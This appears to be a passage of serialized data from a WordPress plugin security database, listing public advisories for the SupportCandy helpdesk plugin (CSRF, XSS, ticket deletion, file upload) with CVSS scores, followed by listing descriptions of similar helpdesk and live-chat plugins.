00:00:00",[215],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F07c0b4c5-d76e-4bdc-87d1-3144a1466c77?source=api-prod",301,[],{"id":219,"url_slug":220,"title":221,"description":222,"plugin_slug":4,"theme_slug":39,"affected_versions":223,"patched_in_version":224,"severity":42,"cvss_score":225,"cvss_vector":226,"vuln_type":113,"published_date":227,"updated_date":175,"references":228,"days_to_patch":230,"patch_diff_files":231,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2021-24879","supportcandy-helpdesk-support-ticket-system-cross-site-request-forgery-to-stored-cross-site-scripting","SupportCandy – Helpdesk & Support Ticket System \u003C= 2.2.6 - Cross-Site Request Forgery to Stored Cross-Site Scripting","The SupportCandy – Helpdesk & Support Ticket System WordPress plugin before 2.2.7 does not have CSRF check in the wpsc_tickets AJAX action, nor has any sanitisation or escaping in some of the filter fields which could allow attackers to make a logged in user having access to the ticket lists dashboard set an arbitrary filter (stored in their cookies) with an XSS payload in it.","\u003C2.2.7","2.2.7",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2022-01-05 00:00:00",[229],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1a10af61-6451-4dda-aeda-ba8fa44bee35?source=api-prod",748,[],{"id":233,"url_slug":234,"title":235,"description":236,"plugin_slug":4,"theme_slug":39,"affected_versions":237,"patched_in_version":224,"severity":42,"cvss_score":225,"cvss_vector":226,"vuln_type":157,"published_date":227,"updated_date":175,"references":238,"days_to_patch":230,"patch_diff_files":240,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2021-24878","supportcandy-reflected-cross-site-scripting","SupportCandy \u003C= 2.2.6 - Reflected Cross-Site Scripting","The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue","\u003C=2.2.6",[239],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F35fb04aa-5899-4797-9ea1-24e7a98ad8d3?source=api-prod",[],{"id":242,"url_slug":243,"title":244,"description":245,"plugin_slug":4,"theme_slug":39,"affected_versions":246,"patched_in_version":247,"severity":171,"cvss_score":248,"cvss_vector":249,"vuln_type":69,"published_date":227,"updated_date":175,"references":250,"days_to_patch":230,"patch_diff_files":252,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2021-24839","supportcandy-unauthenticated-arbitrary-ticket-deletion","SupportCandy \u003C= 2.2.4 - Unauthenticated Arbitrary Ticket Deletion","The SupportCandy WordPress plugin before 2.2.5 does not have authorisation and CSRF checks in its wpsc_tickets AJAX action, which could allow unauthenticated users to call it and delete arbitrary tickets via the set_delete_permanently_bulk_ticket setting_action. Other actions may be affected as well.","\u003C=2.2.4","2.2.5",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N",[251],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F653ab9cb-7084-47e4-b5e3-6788fa5d7496?source=api-prod",[],{"id":254,"url_slug":255,"title":256,"description":257,"plugin_slug":4,"theme_slug":39,"affected_versions":223,"patched_in_version":224,"severity":42,"cvss_score":43,"cvss_vector":258,"vuln_type":113,"published_date":259,"updated_date":175,"references":260,"days_to_patch":262,"patch_diff_files":263,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2021-24843","supportcandy-cross-site-request-forgery-to-arbitrary-ticket-deletion","SupportCandy \u003C= 2.2.6 - Cross-Site Request Forgery to Arbitrary Ticket Deletion","The SupportCandy WordPress plugin before 2.2.7 does not have CRSF check in its wpsc_tickets AJAX action, which could allow attackers to make a logged in admin call it and delete arbitrary tickets via the set_delete_permanently_bulk_ticket setting_action.","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:H\u002FA:N","2022-01-04 00:00:00",[261],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9e1fa691-3934-4e15-b339-e679976d6d5c?source=api-prod",749,[],{"id":265,"url_slug":266,"title":267,"description":268,"plugin_slug":4,"theme_slug":39,"affected_versions":223,"patched_in_version":224,"severity":42,"cvss_score":155,"cvss_vector":156,"vuln_type":157,"published_date":259,"updated_date":175,"references":269,"days_to_patch":262,"patch_diff_files":271,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2021-24880","supportcandy-stored-cross-site-scripting-via-shortcode","SupportCandy \u003C= 2.2.6 - Stored Cross-Site Scripting via Shortcode","The SupportCandy WordPress plugin before 2.2.7 does not validate and escape the page attribute of its shortcode, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks",[270],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9fc6d947-4b6e-4dcb-9f20-02e39b4e730e?source=api-prod",[],{"id":273,"url_slug":274,"title":275,"description":276,"plugin_slug":4,"theme_slug":39,"affected_versions":277,"patched_in_version":278,"severity":197,"cvss_score":198,"cvss_vector":199,"vuln_type":279,"published_date":280,"updated_date":175,"references":281,"days_to_patch":283,"patch_diff_files":284,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2019-11223","supportcandy-helpdesk-support-ticket-system-arbitrary-file-upload","SupportCandy – Helpdesk & Support Ticket System \u003C= 2.0.0 - Arbitrary File Upload","An Unrestricted File Upload Vulnerability in the SupportCandy plugin through 2.0.0 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension.","\u003C2.0.1","2.0.1","Unrestricted Upload of File with Dangerous Type","2019-04-17 00:00:00",[282],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fdcea4ecf-e690-4d1f-beab-fbb30c5bb52e?source=api-prod",1742,[],{"slug":286,"display_name":7,"profile_url":8,"plugin_count":53,"total_installs":287,"avg_security_score":288,"avg_patch_time_days":289,"trust_score":290,"computed_at":291},"psmplugins",10100,92,394,73,"2026-05-19T18:30:50.162Z",[293,315,333,354,368],{"slug":294,"name":295,"version":296,"author":297,"author_profile":298,"description":299,"short_description":300,"active_installs":301,"downloaded":302,"rating":303,"num_ratings":304,"last_updated":305,"tested_up_to":16,"requires_at_least":306,"requires_php":18,"tags":307,"homepage":310,"download_link":311,"security_score":312,"vuln_count":313,"unpatched_count":49,"last_vuln_date":314,"fetched_at":31},"hive-support","Hive Support | AI-Powered Help Desk, Live Chat and Chatbot","1.2.11","Hive Support","https:\u002F\u002Fprofiles.wordpress.org\u002Fhivesupport\u002F","\u003Cp>Improve your WordPress customer support with Hive Support – a simple, user-friendly helpdesk and live chat plugin designed to make support tasks easier and more efficient.\u003C\u002Fp>\n\u003Cp>✨ Boost engagement with Hive Support’s AI chatbot, instantly responding to every customer.\u003C\u002Fp>\n\u003Cp>🎫 With a reliable ticket system, easily manage and organize support tasks, reducing confusion and boosting efficiency across your team.\u003C\u002Fp>\n\u003Cp>With Hive Support’s live chat, enjoy real-time conversations that build stronger customer connections. Automate tasks with customizable triggers to update your workflow and speed up response times.\u003C\u002Fp>\n\u003Cp>Get real-time insights with agent reports and quickly resolve common queries using canned responses. Stay connected with customers and create a support experience that’s efficient, reliable, and ready for the future.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FxwEf0D0Yjuk?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fgethivesupport.com\" rel=\"nofollow ugc\">🚀 \u003Cstrong>Get Pro\u003C\u002Fstrong>\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Docs\u003C\u002Fstrong>\u003C\u002Fa> \u003C\u002Fp>\n\u003Ch3> ✴️ Hive Supports Key Features \u003C\u002Fh3>\n\u003Cp>✅  \u003Cstrong>Ticket Management System (Free) – \u003C\u002Fstrong> Manage unlimited tickets, agents, and customers with customizable filters and statuses.\u003C\u002Fp>\n\u003Cp>✅  \u003Cstrong>Smart AI-Based Chatbot (Pro) – \u003C\u002Fstrong> Offer 24\u002F7 support with ChatGPT integration, prompt-based AI training, fine-tuning, and preset questions for quick replies.\u003C\u002Fp>\n\u003Cp>✅  \u003Cstrong> Business Inbox (Free) – \u003C\u002Fstrong> Create and customize multiple support mailboxes. (Web-based and Email Based)\u003C\u002Fp>\n\u003Cp>✅  \u003Cstrong> Live Chat (Pro) – \u003C\u002Fstrong> Enable or disable live chat on any page and customize the chat widget’s text and appearance\u003C\u002Fp>\n\u003Cp>✅  \u003Cstrong> Agent Activity Tracking (Free) – \u003C\u002Fstrong> Monitor all activities and agent performance reports in one interface to ensure team productivity and efficient support.\u003C\u002Fp>\n\u003Ch4> More Features of Hive Support \u003C\u002Fh4>\n\u003Col>\n\u003Cli>\u003Cstrong>Manage Support Agents (Free) – \u003C\u002Fstrong> Easily add, edit, and manage support agents with customizable permissions. Track their performance through detailed reports and assign tasks efficiently. Update or remove agent information whenever needed.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ticket Reports (Free) – \u003C\u002Fstrong> Access detailed reports to optimize your customer support system. View detailed stats on tickets and agent activities. Analyze all ticket data to improve customer support ticket system efficiency.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Email Notifications (Free) – \u003C\u002Fstrong> Send customizable email notifications to customers and agents, including subject and body text.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Response Templates (Pro) – \u003C\u002Fstrong> Create pre-made reply templates for common customer inquiries, allowing your support team to respond quickly and consistently. Manage and customize templates easily, and insert them with a single click to streamline responses.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automation Trigger (Pro) – \u003C\u002Fstrong> Automate responses to routine inquiries using customizable templates, allowing your team to focus on more complex issues. Create unlimited automation triggers with IDs and titles for different tasks, and use events, conditions, and actions to streamline ticket management.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Ticket Fields (Pro) – \u003C\u002Fstrong> Customize ticket forms with fields like text, number, dropdown, radio, and checkbox to capture necessary details. Add options to each field to suit your needs.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Agent Performance Reports (Pro) – \u003C\u002Fstrong>Track agent performance with reports on opened, closed, and assigned tickets to improve decision-making and productivity.\u003C\u002Fli>\n\u003Cli>\u003Cstrong> Integration Capabilities (Pro) – \u003C\u002Fstrong> Hive Support is now fully integrated with Telegram, Slack, Discord, and WhatsApp. Also, you can integrate with WooCommerce, CRM, and LMS platforms.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3>🛡️ GDPR Compliant Helpdesk\u003C\u002Fh3>\n\u003Cp>Hive Support is a WordPress self-hosted helpdesk, that gives you full control and ownership of your data with no reliance on external SaaS. Stay secure and GDPR-compliant.\u003C\u002Fp>\n\u003Ch3>📌 Why Choose the Hive Support Plugin for your WordPress Website?\u003C\u002Fh3>\n\u003Ch4>⏳ Improved Response Time\u003C\u002Fh4>\n\u003Cp>Hive Support automates tasks like responses, ticket prioritization, and workflows to reduce response times and resolve issues faster.\u003C\u002Fp>\n\u003Ch4>📑 All-inclusive Analytics and Reporting\u003C\u002Fh4>\n\u003Cp>Gain insights into common issues, response times, and customer satisfaction to improve your support services.\u003C\u002Fp>\n\u003Ch4>🛡️ Better User Experience\u003C\u002Fh4>\n\u003Cp>Hive Support improves user experience with easy access to live chat, AI chatbot, FAQ, and support tickets, ensuring smooth interactions.\u003C\u002Fp>\n\u003Ch4>🔗 Integration with Other Tools\u003C\u002Fh4>\n\u003Cp>Hive Support integrates with popular tools like Telegram, Slack, Discord, and WhatsApp, elevating your customer support system’s capability.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>📍 Useful Guide for Integrations:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002Ftelegram-integration\u002F\" rel=\"nofollow ugc\">Telegram Integration\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002Fslack-integration\u002F\" rel=\"nofollow ugc\">Slack Integration\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002Fdiscord-integration\u002F\" rel=\"nofollow ugc\">Discord Integration\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002Fmanage-your-tickets-using-whatsapp-with-hive-support\u002F\" rel=\"nofollow ugc\">WhatsApp Integration\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>⚙️ How to Use Hive Support on your WordPress Site\u003C\u002Fh4>\n\u003Cp>We have complete documentation for installing Hive Support on any WordPress website. Follow the tutorial – 👉 \u003Ca href=\"https:\u002F\u002Fgethivesupport.com\u002Fdocs\u002Fgetting-started-with-hive-support\u002F\" rel=\"nofollow ugc\"> How to Install the Hive Support.\u003C\u002Fa> \u003C\u002Fp>\n\u003Ch3>🎉 Other Plugins from WPCommerz\u003C\u002Fh3>\n\u003Cp>We offer a range of essential plugins to help you grow your WooCommerce business more efficiently.\u003C\u002Fp>\n\u003Cp>✳️ \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fguidant\u002F\" rel=\"ugc\">\u003Cstrong>WP Guidant:\u003C\u002Fstrong>\u003C\u002Fa> Use WP Guidant to create multi-step guided selling processes and increase conversion rates effortlessly.\u003C\u002Fp>\n\u003Cp>✳️ \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fdarklup-lite-wp-dark-mode\u002F\" rel=\"ugc\">\u003Cstrong>Darklup:\u003C\u002Fstrong>\u003C\u002Fa> Transform your site with Darklup’s smart dark mode, delivering a sleek and user-friendly experience.\n\u003C\u002Fp>\n\u003Cp>✳️ \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwceazy\u002F\" rel=\"ugc\">\u003Cstrong>wcEazy:\u003C\u002Fstrong>\u003C\u002Fa> Boost sales and update your store with wcEazy’s all-in-one solution and powerful modules.\n\u003C\u002Fp>\n\u003Cp>\u003Cstrong>❤️ Loved Hive Support?\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Join our \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002Fwpcommerz\" rel=\"nofollow ugc\">Facebook Group\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Learn from our tutorials on \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@wpcommerz8042\" rel=\"nofollow ugc\">Youtube Channel\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Or rate Darklup on \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fhive-support\u002F#reviews\" rel=\"ugc\">WordPress\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Privacy Policy\u003C\u002Fh3>\n\u003Cp>Hive Support uses \u003Ca href=\"https:\u002F\u002Fappsero.com\" rel=\"nofollow ugc\">Appsero\u003C\u002Fa> SDK to collect some telemetry data upon user’s confirmation. This helps us to troubleshoot problems faster & make product improvements.\u003C\u002Fp>\n\u003Cp>Appsero SDK \u003Cstrong>does not gather any data by default.\u003C\u002Fstrong> The SDK only starts gathering basic telemetry data \u003Cstrong>when a user allows it via the admin notice\u003C\u002Fstrong>. We collect the data to ensure a great user experience for all our users.\u003C\u002Fp>\n\u003Cp>Integrating Appsero SDK \u003Cstrong>DOES NOT IMMEDIATELY\u003C\u002Fstrong> start gathering data, \u003Cstrong>without confirmation from users in any case.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Learn more about how \u003Ca href=\"https:\u002F\u002Fappsero.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Appsero collects and uses this data\u003C\u002Fa>.\u003C\u002Fp>\n","The All-In-One Help Desk, Live Chat & AI Chat Bot Plugin for WordPress.",40,9557,100,2,"2026-03-09T11:28:00.000Z","6.5",[308,20,21,309,24],"chatbot","live-chat","https:\u002F\u002Fgethivesupport.com\u002Ffeatures","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhive-support.1.2.11.zip",66,11,"2025-06-05 17:48:57",{"slug":316,"name":317,"version":318,"author":319,"author_profile":320,"description":321,"short_description":322,"active_installs":323,"downloaded":324,"rating":303,"num_ratings":49,"last_updated":325,"tested_up_to":326,"requires_at_least":327,"requires_php":327,"tags":328,"homepage":330,"download_link":331,"security_score":332,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"paldesk-live-chat-helpdesk","Paldesk –  Live Chat & Helpdesk","1.1.5","paldesk","https:\u002F\u002Fprofiles.wordpress.org\u002Fpaldesk\u002F","\u003Cp>Paldesk is a live chat plugin that helps businesses proactively chat in real-time with visitors and customers to their website. Connect multiple channels into a single dashboard, respond to all your messages from one place. Start capturing leads, solving tickets & selling more.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FRKOOBRAWY38?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>INTEGRATIONS:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Built on-top of a robust customer helpdesk and ticketing software, Paldesk integrates with your most popular customer communication channels.\u003C\u002Fp>\n\u003Cpre>\u003Ccode>• Email\n• Facebook\n• Twitter\n• Android & iOS Apps\n• Website\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>Consolidate inbound inquiries from email, mobile apps and social networks so they can be answered from one convenient dashboard – or even from Slack!\u003C\u002Fp>\n\u003Cp>Stop juggling multiple accounts, logins and open browser windows and never miss an opportunity to engage or answer your customers.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>MAJOR FEATURES:\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Paldesk is great for entrepreneurs and startups that are managing their first live chat channel, and scales easily to businesses with multiple chat operators in distinct teams or divisions.\u003C\u002Fp>\n\u003Cp>Explore some of the essential features Paldesk has to offer, listed below.\u003C\u002Fp>\n\u003Cp>•   \u003Cstrong>Multichat Support\u003C\u002Fstrong> – Add multiple chats and install them on more than one website.\u003Cbr \u002F>\n•   \u003Cstrong>Working Hours\u003C\u002Fstrong> – Add multiple chats and install them on more than one website.\u003Cbr \u002F>\n•   \u003Cstrong>Smart Chat Routing\u003C\u002Fstrong> – Assign chats to the ideal agent.\u003Cbr \u002F>\n•   \u003Cstrong>Ticketing\u003C\u002Fstrong> – Create, manage, respond and resolve tickets.\u003Cbr \u002F>\n•   \u003Cstrong>Predefined Answers\u003C\u002Fstrong> – Respond to FAQ questions faster and get more done.\u003Cbr \u002F>\n•   \u003Cstrong>chat Customization\u003C\u002Fstrong> – Customize your look and color of your website chat.\u003Cbr \u002F>\n•   \u003Cstrong>Notifications\u003C\u002Fstrong> – Get notified via email when a new conversation arrives.\u003C\u002Fp>\n\u003Cp>Compatible with Chrome, Firefox, Safari and Microsoft Edge.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>EASY INSTALLATION\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Paldesk – Live Chat & Helpdesk is easy to install and takes under 4 minutes to get up and running on WordPress.\u003C\u002Fp>\n\u003Cp>Start your journey! Get chatting! Download the Paldesk plugin now and \u003Ca href=\"https:\u002F\u002Fwww.paldesk.com\u002Fregistration-short?utm_source=wordpress.com&utm_medium=referral&utm_campaign=wordpress_plugin\" rel=\"nofollow ugc\">sign up here\u003C\u002Fa> for a free trial!\u003C\u002Fp>\n\u003Ch3>Override chat css Style\u003C\u002Fh3>\n\u003Cp>To override chat css, use class “.paldesk-chat” as parent class and “!important” for property values. Examples can be found in {plugin folder}\u002Fcss\u002Fsite\u002Fpaldesk-chat-override.css.tpl\u003C\u002Fp>\n","Powerful live chat & helpdesk plugin made for your WordPress website. Convert leads to sales & help customers in real time - it's free!",30,4803,"2020-08-18T09:07:00.000Z","5.5.0","",[20,21,329,309,24],"instant-messaging","http:\u002F\u002Fpaldesk.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpaldesk-live-chat-helpdesk.zip",85,{"slug":334,"name":335,"version":336,"author":337,"author_profile":338,"description":339,"short_description":340,"active_installs":341,"downloaded":342,"rating":303,"num_ratings":343,"last_updated":344,"tested_up_to":16,"requires_at_least":345,"requires_php":346,"tags":347,"homepage":350,"download_link":351,"security_score":352,"vuln_count":49,"unpatched_count":29,"last_vuln_date":353,"fetched_at":31},"helpdesk-contact-form","HelpDesk Contact Form","1.1.6","HelpDesk","https:\u002F\u002Fprofiles.wordpress.org\u002Fhelpdeskcom\u002F","\u003Ch4>WordPress contact form plugin by HelpDesk ticket system\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>Be more approachable and upgrade the user experience with the best WordPress contact form powered by the HelpDesk ticketing system.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Use the built-in help desk contact form to let your website visitors leave detailed messages. Then, these messages will be automatically turned into manageable tickets. The results? No inquiry goes unanswered and you’ll always be on time and on track!\u003C\u002Fp>\n\u003Ch3>Why choose the WordPress contact form plugin by HelpDesk?\u003C\u002Fh3>\n\u003Cp>The main HelpDesk contact form features are:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Customizable form elements\u003C\u002Fstrong>. Tailor the contact form to fit your business. Freely adjust values in form fields, validation messages, and error states. Guide your visitors in submitting a message successfully.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Seamless integration\u003C\u002Fstrong>. Use the generated shortcode to embed the contact form on the website of your choice. It’s straightforward and quick to set up.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automated ticket creation\u003C\u002Fstrong>. Turn any website message into a HelpDesk ticket in a snap and speed up response times.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User-friendly interface\u003C\u002Fstrong>. Go with the contact form, which is easy to navigate and lets you customize it as you want.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>End-to-end assistance\u003C\u002Fstrong>. Give timely responses and keep your contact form messages neatly organized.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Read the \u003Ca href=\"https:\u002F\u002Fwww.helpdesk.com\u002Fintegrations\u002Fwordpress\u002F?utm_source=wordpress.org&utm_medium=integration&utm_campaign=plugin-listing\" rel=\"nofollow ugc\">article on HelpDesk contact forms\u003C\u002Fa> to learn more about their benefits.\u003C\u002Fp>\n\u003Ch3>What can you do with a contact form in the HelpDesk ticket system?\u003C\u002Fh3>\n\u003Cp>When someone submits a contact form on your WordPress website, it goes straight to the HelpDesk ticket system and turns into a ticket — automatically!\u003C\u002Fp>\n\u003Cp>With HelpDesk tickets, you can manage:\u003C\u002Fp>\n\u003Col>\n\u003Cli>\u003Cstrong>Statuses\u003C\u002Fstrong>. Keep tabs on each ticket’s progress by assigning different statuses so you always know what needs attention.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Priorities\u003C\u002Fstrong>. Mark tickets with urgency to ensure the most critical issues are tackled first.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Tags\u003C\u002Fstrong>. Categorize tickets with tags for easy navigation and filtering so you can quickly find related inquiries.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom fields\u003C\u002Fstrong>. Customize the contact form and tickets with additional fields to capture all the info you need.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Assign team and agent\u003C\u002Fstrong>. Direct tickets to the right team or agent based on their skills or workload, making sure inquiries go to the best person for the job.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Add people to the loop\u003C\u002Fstrong>. Bring in extra team members or stakeholders into ticket discussions for a more collaborative approach. \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Text formatting\u003C\u002Fstrong>. Use rich text formatting to make your messages clear and professional.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Canned responses\u003C\u002Fstrong>. Use pre-written responses for common questions to save time and keep your replies consistent.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>AI messaging features\u003C\u002Fstrong>. Enjoy ticket summaries with automatically generated overviews for quick understanding and text enhancements with suggestions to make your responses clearer.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Macros\u003C\u002Fstrong>. Automate repetitive tasks with macros to boost efficiency and cut down on manual work.\u003C\u002Fli>\n\u003Cli>And more, depending on your needs and processes.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>With so many ticket customization and detailing options, the HelpDesk ticket system is the perfect tool for companies looking to better their assistance potential.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fapp.storylane.io\u002Fshare\u002F6n5acxm402qp\" rel=\"nofollow ugc\">Watch the demo\u003C\u002Fa> to get a taste.\u003C\u002Fp>\n\u003Ch3>Top chosen HelpDesk ticket system features\u003C\u002Fh3>\n\u003Cp>HelpDesk ticket system is more than a contact form — it includes ticketing, automation, teamwork, and reporting features essential for daily interactions with your visitors. Capture website messages and manage, respond to, and resolve requests on the fly.\u003C\u002Fp>\n\u003Cp>Try a comprehensive set of features to boost your support efforts:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Automations\u003C\u002Fstrong>. Save time and reduce manual work with powerful automation features. Automate ticket assignments, set up automatic responses, and streamline repetitive tasks to handle inquiries smoothly. Automation helps prioritize urgent issues and categorize tickets based on preset criteria.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Team collaboration\u003C\u002Fstrong>. Boost teamwork with built-in collaboration tools. Assign tickets to team members, leave internal notes, and track ticket status to make sure nothing slips through the cracks. Use shared inboxes and collaborative ticketing workflows to simplify communication and coordination among your support team.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Reporting and 